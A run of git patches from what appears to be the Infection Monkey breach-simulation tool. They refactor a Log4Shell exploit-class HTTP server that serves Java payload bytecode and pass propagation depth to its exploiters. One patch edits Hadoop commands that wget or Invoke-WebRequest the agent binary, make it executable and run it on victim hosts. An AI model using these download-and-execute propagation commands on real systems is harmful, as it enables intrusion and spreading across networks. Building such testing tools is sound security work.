2001 From: Mike Salvatore Date: Mon, 7 Mar 2022 04:15:44 -0500 Subject: [PATCH 0641/1110] Agent: Add comment to _get_new_http_handler_class() --- .../log4shell_utils/exploit_class_http_server.py | 16 ++++++++++++++-- 1 file changed, 14 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py index 3e0cdd38d..89eee7808 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py @@ -1,6 +1,7 @@ import http.server import logging import threading +from typing import Type logger = logging.getLogger(__name__) @@ -26,7 +27,18 @@ def do_GET(self): self.wfile.write(self.java_class) -def get_new_http_handler_class(java_class: bytes, class_downloaded: threading.Event): +def _get_new_http_handler_class( + java_class: bytes, class_downloaded: threading.Event +) -> Type[http.server.BaseHTTPRequestHandler]: + """ + Dynamically create a new subclass of http.server.BaseHTTPRequestHandler and return it to the + caller. + + Because Python's http.server.HTTPServer accepts a class and creates a new object to + handle each request it receives, any state that needs to be shared between requests must be + stored as class variables. Creating the request handler classes dynamically at runtime allows + multiple ExploitClassHTTPServers, each with it's own unique state, to run concurrently. + """ return type( "HTTPHandler", (http.server.BaseHTTPRequestHandler,), @@ -60,7 +72,7 @@ class ExploitClassHTTPServer: self._class_downloaded = threading.Event() self._poll_interval = poll_interval - HTTPHandler = get_new_http_handler_class(java_class, self._class_downloaded) + HTTPHandler = _get_new_http_handler_class(java_class, self._class_downloaded) self._server = http.server.HTTPServer((ip, port), HTTPHandler) # Setting `daemon=True` to save ourselves some trouble when this is merged to the From 95be74ed813b4797087844f77e141a5e9852eecc Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 7 Mar 2022 04:18:34 -0500 Subject: [PATCH 0642/1110] Agent: Reorder exploit_class_http_server.py --- .../exploit_class_http_server.py | 86 +++++++++---------- 1 file changed, 43 insertions(+), 43 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py index 89eee7808..6d864ca0c 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py @@ -8,49 +8,6 @@ logger = logging.getLogger(__name__) HTTP_TOO_MANY_REQUESTS_ERROR_CODE = 429 -def do_GET(self): - with self.download_lock: - if self.class_downloaded.is_set(): - self.send_error( - HTTP_TOO_MANY_REQUESTS_ERROR_CODE, - "Java exploit class has already been downloaded", - ) - return - - self.class_downloaded.set() - - logger.info("Java class server received a GET request!") - self.send_response(200) - self.send_header("Content-type", "application/octet-stream") - self.end_headers() - logger.info("Sending the payload class!") - self.wfile.write(self.java_class) - - -def _get_new_http_handler_class( - java_class: bytes, class_downloaded: threading.Event -) -> Type[http.server.BaseHTTPRequestHandler]: - """ - Dynamically create a new subclass of http.server.BaseHTTPRequestHandler and return it to the - caller. - - Because Python's http.server.HTTPServer accepts a class and creates a new object to - handle each request it receives, any state that needs to be shared between requests must be - stored as class variables. Creating the request handler classes dynamically at runtime allows - multiple ExploitClassHTTPServers, each with it's own unique state, to run concurrently. - """ - return type( - "HTTPHandler", - (http.server.BaseHTTPRequestHandler,), - { - "java_class": java_class, - "class_downloaded": class_downloaded, - "download_lock": threading.Lock(), - "do_GET": do_GET, - }, - ) - - class ExploitClassHTTPServer: """ An HTTP server that serves Java bytecode for use with the Log4Shell exploiter. This server @@ -126,3 +83,46 @@ class ExploitClassHTTPServer: :rtype: bool """ return self._class_downloaded.is_set() + + +def _get_new_http_handler_class( + java_class: bytes, class_downloaded: threading.Event +) -> Type[http.server.BaseHTTPRequestHandler]: + """ + Dynamically create a new subclass of http.server.BaseHTTPRequestHandler and return it to the + caller. + + Because Python's http.server.HTTPServer accepts a class and creates a new object to + handle each request it receives, any state that needs to be shared between requests must be + stored as class variables. Creating the request handler classes dynamically at runtime allows + multiple ExploitClassHTTPServers, each with it's own unique state, to run concurrently. + """ + return type( + "HTTPHandler", + (http.server.BaseHTTPRequestHandler,), + { + "java_class": java_class, + "class_downloaded": class_downloaded, + "download_lock": threading.Lock(), + "do_GET": do_GET, + }, + ) + + +def do_GET(self): + with self.download_lock: + if self.class_downloaded.is_set(): + self.send_error( + HTTP_TOO_MANY_REQUESTS_ERROR_CODE, + "Java exploit class has already been downloaded", + ) + return + + self.class_downloaded.set() + + logger.info("Java class server received a GET request!") + self.send_response(200) + self.send_header("Content-type", "application/octet-stream") + self.end_headers() + logger.info("Sending the payload class!") + self.wfile.write(self.java_class) From 0e01264bb65b3d44e151d8f415cdafe35693db51 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 7 Mar 2022 05:21:48 -0500 Subject: [PATCH 0643/1110] Agent: Make do_GET() and inner function of _get_new_http_handler_class --- .../exploit_class_http_server.py | 38 +++++++++---------- 1 file changed, 19 insertions(+), 19 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py index 6d864ca0c..8667963b5 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py @@ -97,6 +97,25 @@ def _get_new_http_handler_class( stored as class variables. Creating the request handler classes dynamically at runtime allows multiple ExploitClassHTTPServers, each with it's own unique state, to run concurrently. """ + + def do_GET(self): + with self.download_lock: + if self.class_downloaded.is_set(): + self.send_error( + HTTP_TOO_MANY_REQUESTS_ERROR_CODE, + "Java exploit class has already been downloaded", + ) + return + + self.class_downloaded.set() + + logger.info("Java class server received a GET request!") + self.send_response(200) + self.send_header("Content-type", "application/octet-stream") + self.end_headers() + logger.info("Sending the payload class!") + self.wfile.write(self.java_class) + return type( "HTTPHandler", (http.server.BaseHTTPRequestHandler,), @@ -107,22 +126,3 @@ def _get_new_http_handler_class( "do_GET": do_GET, }, ) - - -def do_GET(self): - with self.download_lock: - if self.class_downloaded.is_set(): - self.send_error( - HTTP_TOO_MANY_REQUESTS_ERROR_CODE, - "Java exploit class has already been downloaded", - ) - return - - self.class_downloaded.set() - - logger.info("Java class server received a GET request!") - self.send_response(200) - self.send_header("Content-type", "application/octet-stream") - self.end_headers() - logger.info("Sending the payload class!") - self.wfile.write(self.java_class) From 754402c69d3120b7ffe23819f48612bc29860629 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 7 Mar 2022 06:16:23 -0500 Subject: [PATCH 0644/1110] Agent: Gracefully handle unexpected exceptions when running exploiters --- monkey/infection_monkey/master/exploiter.py | 15 +++++++++++++-- .../infection_monkey/master/test_exploiter.py | 15 +++++++++++++++ 2 files changed, 28 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/master/exploiter.py b/monkey/infection_monkey/master/exploiter.py index 5a76b20a8..151280ea0 100644 --- a/monkey/infection_monkey/master/exploiter.py +++ b/monkey/infection_monkey/master/exploiter.py @@ -110,12 +110,23 @@ class Exploiter: def _run_exploiter( self, exploiter_name: str, options: Dict, victim_host: VictimHost, stop: Event ) -> ExploiterResultData: - logger.debug(f"Attempting to use {exploiter_name} on {victim_host}") + logger.debug(f"Attempting to use {exploiter_name} on {victim_host.ip_addr}") credentials = self._get_credentials_for_propagation() options = {"credentials": credentials, **options} - return self._puppet.exploit_host(exploiter_name, victim_host, options, stop) + try: + return self._puppet.exploit_host(exploiter_name, victim_host, options, stop) + except Exception as ex: + msg = ( + f"An unexpected error occurred while exploiting {victim_host.ip_addr} with " + f"{exploiter_name}: {ex}" + ) + logger.error(msg) + + return ExploiterResultData( + exploitation_success=False, propagation_success=False, error_message=msg + ) def _get_credentials_for_propagation(self) -> Mapping: try: diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_exploiter.py b/monkey/tests/unit_tests/infection_monkey/master/test_exploiter.py index 9a276e9aa..c32ad5acb 100644 --- a/monkey/tests/unit_tests/infection_monkey/master/test_exploiter.py +++ b/monkey/tests/unit_tests/infection_monkey/master/test_exploiter.py @@ -124,3 +124,18 @@ def test_stop_after_callback(exploiter_config, callback, scan_completed, stop, h e.exploit_hosts(exploiter_config, hosts_to_exploit, stoppable_callback, scan_completed, stop) assert stoppable_callback.call_count == 2 + + +def test_exploiter_raises_exception(callback, hosts, hosts_to_exploit, run_exploiters): + error_message = "Unexpected error" + mock_puppet = MockPuppet() + mock_puppet.exploit_host = MagicMock(side_effect=Exception(error_message)) + run_exploiters(mock_puppet, 3) + + assert callback.call_count == 6 + + for i in range(0, 6): + exploit_result_data = callback.call_args_list[i][0][2] + assert exploit_result_data.exploitation_success is False + assert exploit_result_data.propagation_success is False + assert error_message in exploit_result_data.error_message From 00829ac094c5850b3a88ea411e60720d3b44d65a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 7 Mar 2022 06:20:34 -0500 Subject: [PATCH 0645/1110] Agent: Add TODOs to AutomatedMaster --- monkey/infection_monkey/master/automated_master.py | 1 + monkey/infection_monkey/master/ip_scanner.py | 1 + 2 files changed, 2 insertions(+) diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index bf2e11132..370bcfedd 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -209,6 +209,7 @@ class AutomatedMaster(IMaster): interrupted_message = f"Received a stop signal, skipping remaining {plugin_type}s" for p in interruptable_iter(plugins, self._stop, interrupted_message): + # TODO: Catch exceptions to prevent thread from crashing callback(p) logger.info(f"Finished running {plugin_type}s") diff --git a/monkey/infection_monkey/master/ip_scanner.py b/monkey/infection_monkey/master/ip_scanner.py index 5c768506b..ee474ab49 100644 --- a/monkey/infection_monkey/master/ip_scanner.py +++ b/monkey/infection_monkey/master/ip_scanner.py @@ -58,6 +58,7 @@ class IPScanner: address = addresses.get_nowait() logger.info(f"Scanning {address.ip}") + # TODO: Catch exceptions to prevent thread from crashing ping_scan_data = self._puppet.ping(address.ip, icmp_timeout) port_scan_data = self._puppet.scan_tcp_ports(address.ip, tcp_ports, tcp_timeout) From c802f217565f1ad29b750174099974fa3d2cec8a Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 7 Mar 2022 13:54:06 +0100 Subject: [PATCH 0646/1110] Agent: Prevent overwriting hadoop linux agent Because hadoop is re-requesting agents, we don't get the agent if it already there, if it has size 0 and if it exists we remove it. --- monkey/infection_monkey/model/__init__.py | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py index 580a5d7d0..44b09e992 100644 --- a/monkey/infection_monkey/model/__init__.py +++ b/monkey/infection_monkey/model/__init__.py @@ -46,16 +46,19 @@ CHECK_COMMAND = "echo %s" % ID_STRING # Architecture checking commands GET_ARCH_WINDOWS = "wmic os get osarchitecture" # can't remove, powershell exploiter uses -# All in one commands (upload, change permissions, run) HADOOP_WINDOWS_COMMAND = ( "powershell -NoLogo -Command \"if (!(Test-Path '%(monkey_path)s')) { " "Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing }; " " if (! (ps | ? {$_.path -eq '%(monkey_path)s'})) " '{& %(monkey_path)s %(monkey_type)s %(parameters)s } "' ) +# The hadoop server may request another monkey executable +# which results with a zero-size file which needs to be removed, +# this can lead to a race condition when the command is run twice +# so we are adding a 5 seconds sleep to prevent that HADOOP_LINUX_COMMAND = ( - "! [ -f %(monkey_path)s ] " - "&& wget -O %(monkey_path)s %(http_path)s " + "wget --no-clobber -O %(monkey_path)s %(http_path)s " + "|| sleep 5 && ( ( ! [ -s %(monkey_path)s ] ) && rm %(monkey_path)s ) " "; chmod +x %(monkey_path)s " "&& %(monkey_path)s %(monkey_type)s %(parameters)s" ) From fd2143a4df4e5ae4694b1990984bef652fd3a93d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 7 Mar 2022 10:24:22 -0500 Subject: [PATCH 0647/1110] Agent: Re-raise exceptions in HostExploiter The AutomatedMaster can't process the exceptions if the HostExploiter swallows them. The HostExploiter can log and re-raise the exceptions so they can be processed by the AutomatedMaster. --- monkey/infection_monkey/exploit/HostExploiter.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py index 69924b61a..0f698c926 100644 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -82,16 +82,16 @@ class HostExploiter: self.options = options self.pre_exploit() - result = None try: - result = self._exploit_host() + return self._exploit_host() except FailedExploitationError as e: logger.debug(f"Exploiter failed: {e}.") - except Exception: + raise e + except Exception as e: logger.error("Exception in exploit_host", exc_info=True) + raise e finally: self.post_exploit() - return result def pre_exploit(self): self.exploit_result = ExploiterResultData( From 41287d458bdffaa71113d61b3acefcd91b6f07b0 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 7 Mar 2022 07:52:07 -0500 Subject: [PATCH 0648/1110] Agent: Don't propagate if depth == 0 --- monkey/infection_monkey/master/automated_master.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index 370bcfedd..2da3d52e3 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -162,7 +162,7 @@ class AutomatedMaster(IMaster): # still running. credential_collector_thread.join() - if self._can_propagate(): + if self._can_propagate() and config["depth"] > 0: self._propagator.propagate(config["propagation"], self._stop) payload_thread = create_daemon_thread( From 7cae4d6dec01653404d062316b3c61e6fa98c18f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 7 Mar 2022 08:08:24 -0500 Subject: [PATCH 0649/1110] Agent: Pass depth to exploiters --- .../infection_monkey/exploit/HostExploiter.py | 2 ++ .../exploit/exploiter_wrapper.py | 4 +-- monkey/infection_monkey/exploit/hadoop.py | 3 +- monkey/infection_monkey/exploit/log4shell.py | 3 +- monkey/infection_monkey/exploit/web_rce.py | 6 ++-- monkey/infection_monkey/i_puppet/i_puppet.py | 8 ++++- .../master/automated_master.py | 5 ++-- monkey/infection_monkey/master/exploiter.py | 29 +++++++++++++++---- monkey/infection_monkey/master/mock_master.py | 4 +-- monkey/infection_monkey/master/propagator.py | 6 ++-- monkey/infection_monkey/puppet/mock_puppet.py | 7 ++++- monkey/infection_monkey/puppet/puppet.py | 9 ++++-- .../infection_monkey/master/test_exploiter.py | 6 ++-- .../master/test_propagator.py | 19 ++++++++++-- 14 files changed, 82 insertions(+), 29 deletions(-) diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py index 0f698c926..e1b6d0c80 100644 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -72,11 +72,13 @@ class HostExploiter: def exploit_host( self, host, + current_depth: int, telemetry_messenger: ITelemetryMessenger, agent_repository: IAgentRepository, options: Dict, ): self.host = host + self.current_depth = current_depth self.telemetry_messenger = telemetry_messenger self.agent_repository = agent_repository self.options = options diff --git a/monkey/infection_monkey/exploit/exploiter_wrapper.py b/monkey/infection_monkey/exploit/exploiter_wrapper.py index c621ecaea..5e855ff22 100644 --- a/monkey/infection_monkey/exploit/exploiter_wrapper.py +++ b/monkey/infection_monkey/exploit/exploiter_wrapper.py @@ -26,10 +26,10 @@ class ExploiterWrapper: self._telemetry_messenger = telemetry_messenger self._agent_repository = agent_repository - def exploit_host(self, host: VictimHost, options: Dict): + def exploit_host(self, host: VictimHost, current_depth: int, options: Dict): exploiter = self._exploit_class() return exploiter.exploit_host( - host, self._telemetry_messenger, self._agent_repository, options + host, current_depth, self._telemetry_messenger, self._agent_repository, options ) def __init__( diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index 69e5c601b..0618a3dad 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -12,7 +12,6 @@ from random import SystemRandom import requests from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT -from infection_monkey.exploit.tools.helpers import get_monkey_depth from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.exploit.web_rce import WebRCE from infection_monkey.model import ( @@ -95,7 +94,7 @@ class HadoopExploiter(WebRCE): def _build_command(self, path, http_path): # Build command to execute - monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1) + monkey_cmd = build_monkey_commandline(self.host, self.current_depth - 1) if "linux" in self.host.os["type"]: base_command = HADOOP_LINUX_COMMAND else: diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index 146f4c16a..e68b7f5ab 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -10,7 +10,6 @@ from infection_monkey.exploit.log4shell_utils import ( build_exploit_bytecode, get_log4shell_service_exploiters, ) -from infection_monkey.exploit.tools.helpers import get_monkey_depth from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.exploit.web_rce import WebRCE from infection_monkey.i_puppet.i_puppet import ExploiterResultData @@ -114,7 +113,7 @@ class Log4ShellExploiter(WebRCE): def _build_command(self, path, http_path) -> str: # Build command to execute - monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, location=path) + monkey_cmd = build_monkey_commandline(self.host, self.current_depth - 1, location=path) if "linux" in self.host.os["type"]: base_command = LOG4SHELL_LINUX_COMMAND else: diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index 8ef23acc0..bbb590b8b 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -5,7 +5,7 @@ from typing import List, Tuple from common.utils.attack_utils import BITS_UPLOAD_STRING, ScanStatus from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey +from infection_monkey.exploit.tools.helpers import get_target_monkey from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.model import ( BITSADMIN_CMDLINE_HTTP, @@ -371,14 +371,14 @@ class WebRCE(HostExploiter): default_path = self.get_default_dropper_path() if default_path is False: return False - monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, default_path) + monkey_cmd = build_monkey_commandline(self.host, self.current_depth - 1, default_path) command = RUN_MONKEY % { "monkey_path": path, "monkey_type": DROPPER_ARG, "parameters": monkey_cmd, } else: - monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1) + monkey_cmd = build_monkey_commandline(self.host, self.current_depth - 1) command = RUN_MONKEY % { "monkey_path": path, "monkey_type": MONKEY_ARG, diff --git a/monkey/infection_monkey/i_puppet/i_puppet.py b/monkey/infection_monkey/i_puppet/i_puppet.py index 5b27de4f6..0db62bae2 100644 --- a/monkey/infection_monkey/i_puppet/i_puppet.py +++ b/monkey/infection_monkey/i_puppet/i_puppet.py @@ -114,12 +114,18 @@ class IPuppet(metaclass=abc.ABCMeta): @abc.abstractmethod def exploit_host( - self, name: str, host: VictimHost, options: Dict, interrupt: threading.Event + self, + name: str, + host: VictimHost, + current_depth: int, + options: Dict, + interrupt: threading.Event, ) -> ExploiterResultData: """ Runs an exploiter against a remote host :param str name: The name of the exploiter to run :param VictimHost host: A VictimHost object representing the target to exploit + :param int current_depth: The current propagation depth :param Dict options: A dictionary containing options that modify the behavior of the exploiter :param threading.Event interrupt: A threading.Event object that signals the exploit to stop diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index 2da3d52e3..d90c8e902 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -162,8 +162,9 @@ class AutomatedMaster(IMaster): # still running. credential_collector_thread.join() - if self._can_propagate() and config["depth"] > 0: - self._propagator.propagate(config["propagation"], self._stop) + current_depth = config["depth"] + if self._can_propagate() and current_depth > 0: + self._propagator.propagate(config["propagation"], current_depth, self._stop) payload_thread = create_daemon_thread( target=self._run_plugins, diff --git a/monkey/infection_monkey/master/exploiter.py b/monkey/infection_monkey/master/exploiter.py index 151280ea0..b2049eb38 100644 --- a/monkey/infection_monkey/master/exploiter.py +++ b/monkey/infection_monkey/master/exploiter.py @@ -34,6 +34,7 @@ class Exploiter: self, exploiter_config: Dict, hosts_to_exploit: Queue, + current_depth: int, results_callback: Callback, scan_completed: Event, stop: Event, @@ -44,7 +45,14 @@ class Exploiter: f"{', '.join([e['name'] for e in exploiters_to_run])}" ) - exploit_args = (exploiters_to_run, hosts_to_exploit, results_callback, scan_completed, stop) + exploit_args = ( + exploiters_to_run, + hosts_to_exploit, + current_depth, + results_callback, + scan_completed, + stop, + ) run_worker_threads( target=self._exploit_hosts_on_queue, args=exploit_args, num_workers=self._num_workers ) @@ -69,6 +77,7 @@ class Exploiter: self, exploiters_to_run: List[Dict], hosts_to_exploit: Queue, + current_depth: int, results_callback: Callback, scan_completed: Event, stop: Event, @@ -78,7 +87,9 @@ class Exploiter: while not stop.is_set(): try: victim_host = hosts_to_exploit.get(timeout=QUEUE_TIMEOUT) - self._run_all_exploiters(exploiters_to_run, victim_host, results_callback, stop) + self._run_all_exploiters( + exploiters_to_run, victim_host, current_depth, results_callback, stop + ) except queue.Empty: if _all_hosts_have_been_processed(scan_completed, hosts_to_exploit): break @@ -93,6 +104,7 @@ class Exploiter: self, exploiters_to_run: List[Dict], victim_host: VictimHost, + current_depth: int, results_callback: Callback, stop: Event, ): @@ -100,7 +112,7 @@ class Exploiter: for exploiter in interruptable_iter(exploiters_to_run, stop): exploiter_name = exploiter["name"] exploiter_results = self._run_exploiter( - exploiter_name, exploiter["options"], victim_host, stop + exploiter_name, exploiter["options"], victim_host, current_depth, stop ) results_callback(exploiter_name, victim_host, exploiter_results) @@ -108,7 +120,12 @@ class Exploiter: break def _run_exploiter( - self, exploiter_name: str, options: Dict, victim_host: VictimHost, stop: Event + self, + exploiter_name: str, + options: Dict, + victim_host: VictimHost, + current_depth: int, + stop: Event, ) -> ExploiterResultData: logger.debug(f"Attempting to use {exploiter_name} on {victim_host.ip_addr}") @@ -116,7 +133,9 @@ class Exploiter: options = {"credentials": credentials, **options} try: - return self._puppet.exploit_host(exploiter_name, victim_host, options, stop) + return self._puppet.exploit_host( + exploiter_name, victim_host, current_depth, options, stop + ) except Exception as ex: msg = ( f"An unexpected error occurred while exploiting {victim_host.ip_addr} with " diff --git a/monkey/infection_monkey/master/mock_master.py b/monkey/infection_monkey/master/mock_master.py index e7e8e6237..8542ade12 100644 --- a/monkey/infection_monkey/master/mock_master.py +++ b/monkey/infection_monkey/master/mock_master.py @@ -101,13 +101,13 @@ class MockMaster(IMaster): def _exploit(self): logger.info("Exploiting victims") - result = self._puppet.exploit_host("PowerShellExploiter", "10.0.0.1", {}, None) + result = self._puppet.exploit_host("PowerShellExploiter", "10.0.0.1", 0, {}, None) logger.info(f"Attempts for exploiting {result.attempts}") self._telemetry_messenger.send_telemetry( ExploitTelem("PowerShellExploiter", self._hosts["10.0.0.1"], result) ) - result = self._puppet.exploit_host("SSHExploiter", "10.0.0.3", {}, None) + result = self._puppet.exploit_host("SSHExploiter", "10.0.0.3", 0, {}, None) logger.info(f"Attempts for exploiting {result.attempts}") self._telemetry_messenger.send_telemetry( ExploitTelem("SSHExploiter", self._hosts["10.0.0.3"], result) diff --git a/monkey/infection_monkey/master/propagator.py b/monkey/infection_monkey/master/propagator.py index 45fc0955b..4ed86cd32 100644 --- a/monkey/infection_monkey/master/propagator.py +++ b/monkey/infection_monkey/master/propagator.py @@ -39,7 +39,7 @@ class Propagator: self._local_network_interfaces = local_network_interfaces self._hosts_to_exploit = None - def propagate(self, propagation_config: Dict, stop: Event): + def propagate(self, propagation_config: Dict, current_depth: int, stop: Event): logger.info("Attempting to propagate") network_scan_completed = Event() @@ -50,7 +50,7 @@ class Propagator: ) exploit_thread = create_daemon_thread( target=self._exploit_hosts, - args=(propagation_config, network_scan_completed, stop), + args=(propagation_config, current_depth, network_scan_completed, stop), ) scan_thread.start() @@ -134,6 +134,7 @@ class Propagator: def _exploit_hosts( self, propagation_config: Dict, + current_depth: int, network_scan_completed: Event, stop: Event, ): @@ -143,6 +144,7 @@ class Propagator: self._exploiter.exploit_hosts( exploiter_config, self._hosts_to_exploit, + current_depth, self._process_exploit_attempts, network_scan_completed, stop, diff --git a/monkey/infection_monkey/puppet/mock_puppet.py b/monkey/infection_monkey/puppet/mock_puppet.py index d43d48983..bd00c3acb 100644 --- a/monkey/infection_monkey/puppet/mock_puppet.py +++ b/monkey/infection_monkey/puppet/mock_puppet.py @@ -137,7 +137,12 @@ class MockPuppet(IPuppet): # TODO: host should be VictimHost, at the moment it can't because of circular dependency def exploit_host( - self, name: str, host: VictimHost, options: Dict, interrupt: threading.Event + self, + name: str, + host: VictimHost, + current_depth: int, + options: Dict, + interrupt: threading.Event, ) -> ExploiterResultData: logger.debug(f"exploit_hosts({name}, {host}, {options})") attempts = [ diff --git a/monkey/infection_monkey/puppet/puppet.py b/monkey/infection_monkey/puppet/puppet.py index e10695993..95e72533f 100644 --- a/monkey/infection_monkey/puppet/puppet.py +++ b/monkey/infection_monkey/puppet/puppet.py @@ -58,10 +58,15 @@ class Puppet(IPuppet): return fingerprinter.get_host_fingerprint(host, ping_scan_data, port_scan_data, options) def exploit_host( - self, name: str, host: VictimHost, options: Dict, interrupt: threading.Event + self, + name: str, + host: VictimHost, + current_depth: int, + options: Dict, + interrupt: threading.Event, ) -> ExploiterResultData: exploiter = self._plugin_registry.get_plugin(name, PluginType.EXPLOITER) - return exploiter.exploit_host(host, options) + return exploiter.exploit_host(host, current_depth, options) def run_payload(self, name: str, options: Dict, interrupt: threading.Event): payload = self._plugin_registry.get_plugin(name, PluginType.PAYLOAD) diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_exploiter.py b/monkey/tests/unit_tests/infection_monkey/master/test_exploiter.py index c32ad5acb..014b3b912 100644 --- a/monkey/tests/unit_tests/infection_monkey/master/test_exploiter.py +++ b/monkey/tests/unit_tests/infection_monkey/master/test_exploiter.py @@ -74,7 +74,7 @@ def run_exploiters(exploiter_config, hosts_to_exploit, callback, scan_completed, scan_completed.set() e = Exploiter(puppet, num_workers, get_credentials_for_propagation) - e.exploit_hosts(exploiter_config, hosts_to_exploit, callback, scan_completed, stop) + e.exploit_hosts(exploiter_config, hosts_to_exploit, 1, callback, scan_completed, stop) return inner @@ -102,7 +102,7 @@ def test_credentials_passed_to_exploiter(run_exploiters): run_exploiters(mock_puppet, 1) for call_args in mock_puppet.exploit_host.call_args_list: - assert call_args[0][2].get("credentials") == CREDENTIALS_FOR_PROPAGATION + assert call_args[0][3].get("credentials") == CREDENTIALS_FOR_PROPAGATION def test_stop_after_callback(exploiter_config, callback, scan_completed, stop, hosts_to_exploit): @@ -121,7 +121,7 @@ def test_stop_after_callback(exploiter_config, callback, scan_completed, stop, h # Intentionally NOT setting scan_completed.set(); _callback() will set stop e = Exploiter(MockPuppet(), callback_barrier_count + 2, get_credentials_for_propagation) - e.exploit_hosts(exploiter_config, hosts_to_exploit, stoppable_callback, scan_completed, stop) + e.exploit_hosts(exploiter_config, hosts_to_exploit, 1, stoppable_callback, scan_completed, stop) assert stoppable_callback.call_count == 2 diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_propagator.py b/monkey/tests/unit_tests/infection_monkey/master/test_propagator.py index 06be41c71..49cdd103a 100644 --- a/monkey/tests/unit_tests/infection_monkey/master/test_propagator.py +++ b/monkey/tests/unit_tests/infection_monkey/master/test_propagator.py @@ -124,7 +124,13 @@ def mock_ip_scanner(): class StubExploiter: def exploit_hosts( - self, hosts_to_exploit, exploiter_config, results_callback, scan_completed, stop + self, + exploiters_to_run, + hosts_to_exploit, + current_depth, + results_callback, + scan_completed, + stop, ): pass @@ -144,6 +150,7 @@ def test_scan_result_processing(telemetry_messenger_spy, mock_ip_scanner, mock_v "network_scan": {}, # This is empty since MockIPscanner ignores it "exploiters": {}, # This is empty since StubExploiter ignores it }, + 1, Event(), ) @@ -174,7 +181,13 @@ def test_scan_result_processing(telemetry_messenger_spy, mock_ip_scanner, mock_v class MockExploiter: def exploit_hosts( - self, exploiter_config, hosts_to_exploit, results_callback, scan_completed, stop + self, + exploiters_to_run, + hosts_to_exploit, + current_depth, + results_callback, + scan_completed, + stop, ): scan_completed.wait() hte = [] @@ -240,6 +253,7 @@ def test_exploiter_result_processing( "network_scan": {}, # This is empty since MockIPscanner ignores it "exploiters": {}, # This is empty since MockExploiter ignores it }, + 1, Event(), ) @@ -284,6 +298,7 @@ def test_scan_target_generation(telemetry_messenger_spy, mock_ip_scanner, mock_v "network_scan": {}, # This is empty since MockIPscanner ignores it "exploiters": {}, # This is empty since MockExploiter ignores it }, + 1, Event(), ) expected_ip_scan_list = [ From 524b97078de4c7111f819a8677900afaa740b31b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 7 Mar 2022 08:46:10 -0500 Subject: [PATCH 0650/1110] Agent: Pass current depth to AutomatedMaster --- monkey/infection_monkey/master/automated_master.py | 8 ++++++-- monkey/infection_monkey/monkey.py | 11 ++--------- .../infection_monkey/master/test_automated_master.py | 6 +++--- 3 files changed, 11 insertions(+), 14 